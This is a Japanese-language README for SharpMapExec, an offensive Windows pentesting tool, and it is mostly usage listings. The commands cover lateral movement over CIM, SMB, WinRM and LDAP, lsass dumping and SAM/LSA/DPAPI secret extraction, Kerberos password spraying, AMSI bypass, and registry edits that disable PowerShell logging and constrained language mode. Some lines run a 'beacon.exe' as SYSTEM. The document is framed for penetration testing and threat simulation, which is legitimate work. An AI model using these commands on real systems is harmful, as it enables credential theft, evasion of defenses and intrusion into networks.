
Windowsネイティブのペネトレーションテスト万能ツール。CIM、SMB、WinRM、LDAP、ドメインプロトコルを横断し、Kerberos/NTLM認証を用いたラテラルムーブメント、認証情報取得、データ流出、脆弱性スキャンを実行します。
SharpMapExec は、CrackMapExec のシャープなバージョンです。このツールは、ネットワークのペネトレーションテストを簡素化し、内部脅威シミュレーション演習においてしばしば必要とされるWindows上で動作するスイスアーミーナイフを作成するために作られました。
アクセスのスキャンに加えて、脆弱な構成を特定し、データを流出させるために使用できます。データ流出モジュールのアイデアは、リモートコンピュータ上で最小限の必要なコードだけを実行することです。これを実現するために、ツールはすべてのシークレットをルートディレクトリにダウンロードし、ローカルで解析します。
Kerberos認証とNTLM認証のどちらを使用するかを指定できます。Kerberosを選択した場合、ツールはサクリフィシャルトークンを作成し、Rubeus を使用してチケットのインポート/要求を行います。NTLMを指定した場合、ツールは SharpKatz の SetThreadToken または LogonUser の偽装を使用します。
SharpMapExec.exe
usage:
--- Cim ---
Need plaintext password or the /impersonate flag
SharpMapExec.exe ntlm cim /user:USER /password:PASSWORD /computername:TARGET
Available Cim modules
/m:enable_winrm (Runs Enable-PSRemoting -Force)
/m:disable_winrm (Runs Disable-PSRemoting -Force)
/m:disable_pslockdown (Modify __PSLockdownPolicy registry to disable CLM)
/m:disable_pslogging (Modify registry to disable PowerShell Logging)
/m:check_pslockdown (Check __PSLockdownPolicy registry)
/m:check_pslogging (Check PowerShell Logging registry)
--- Reg32 ---
SharpMapExec.exe ntlm reg32 /user:USER /ntlm:HASH /computername:TARGET
SharpMapExec.exe kerberos reg32 </user:USER /password:PASSWORD /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirbi> /computername:TARGET
Reg32 modules
/m:disable_pslockdown (Modify __PSLockdownPolicy registry to disable CLM)
/m:check_pslockdown (Check __PSLockdownPolicy registry)
/m:check_pslogging (Check PowerShell Logging registry)
--- Smb ---
SharpMapExec.exe ntlm smb /user:USER /ntlm:HASH /domain:DOMAIN /computername:TARGET
SharpMapExec.exe kerberos smb </user:USER /password:PASSWORD /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirbi> /computername:TARGET
Smb modules
/m:shares (Scan for accessible Smb shares)
--- WinRm ---
SharpMapExec.exe ntlm winrm /user:USER /password:PASSWORD /domain:DOMAIN /computername:TARGET
SharpMapExec.exe kerberos winrm </user:USER /rc4:HASH /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirbi> /computername:TARGET
WinRm modules
/m:exec /a:whoami (Invoke-Command)
/m:exec /a:C:\beacon.exe /system (Invoke-Command as System)
/m:comsvcs (Dump & parse lsass)
/m:secrets (Dump and Parse Sam, Lsa, and System Dpapi blobs)
/m:assembly /p:Rubeus.exe /a:dump (Execute local C# assembly in memory)
/m:assembly /p:beacon.exe /system (Execute local C# assembly as System in memory)
/m:assembly /p:getMailBox.exe /delegwalk (Execute local C# assembly in all unique delegation processes in memory)
/m:download /path:C:\file /destination:file (Download file from host)
/m:upload /path:C:\file /destination:file (Upload file to host)
--- Domain ---
SharpMapExec.exe kerbspray /users:USERS.TXT /passwords:PASSWORDS.TXT /domain:DOMAIN /dc:DC
SharpMapExec.exe tgtdeleg
--- Ldap ---
SharpMapExec.exe ntlm domain /user:USER /password:PASSWORD /domain:DOMAIN /dc:DC /m:MODULE
SharpMapExec.exe kerberos ldap </user:USER /password:PASSWORD /domain:DOMAIN /dc:DC /m:MODULE | /ticket:TICKET.Kirbi>
Ldap modules
/m:spraydata (Download user and password policy)
管理者アクセス、アクセス可能なSMB共有、SMBバージョン、リレー署名のスキャンに使用できます。
/m:shares (Scan enumerated shares for access)
強力なモジュールです。組み込みのAmsiバイパス、JEA言語ブレイクアウト、JEA関数分析を備えています。コード実行、PsRemoteアクセスのスキャン、脆弱なJEAエンドポイントの特定、データ流出に使用できます。
/m:exec /a:whoami (Invoke-Command)
/m:exec /a:C:\beacon.exe /system (Invoke-Command as System)
/m:comsvcs (Dump Lsass Process)
/m:secrets (Dump and Parse Sam, Lsa, and System Dpapi blobs)
/m:assembly /p:Rubeus.exe /a:dump (Execute Local C# Assembly in memory)
/m:assembly /p:beacon.exe /system (Execute Local C# Assembly as System in memory)
/m:download /path:C:\file /destination:file (Download File from Host)
現在、ドメインパスワードスプレーと、現在のユーザーのTGTを作成して /ticket パラメータで使用し、現在のコンテキストを取得する機能をサポートしています。
パスワードスプレー前に必要なデータをダウンロードします。
/m:spraydata (Download user and password policy)
C#アセンブリの簡易または一括インメモリ実行用

Kerberosパスワードスプレー後にローカル管理者アクセスをスキャン

このプロジェクトはJEAエンドポイントのスキャンをサポートし、非デフォルトコマンドのソースコードを分析し、エンドポイントが no-language モードに設定されていないか確認します。

NTハッシュを使用してローカル管理者パスワードの再利用を発見します。

Microsoft署名済みDLLを使用してLsassプロセスを一括ダンプし、loot フォルダに保存します

ユーザーごとにユニークなすべての委任プロセスで実行します

SMB署名とSMBv1のスキャン

その他多数!
Kerberosを使用する一部のシナリオでは、DCと時刻を同期し、DNSを設定する必要があります。
net time \\DC01.hackit.local /set
Get-NetAdapter ethernet0* | Set-DnsClientServerAddress -ServerAddresses @('192.168.1.10')
Projects that helped or are existing in this tool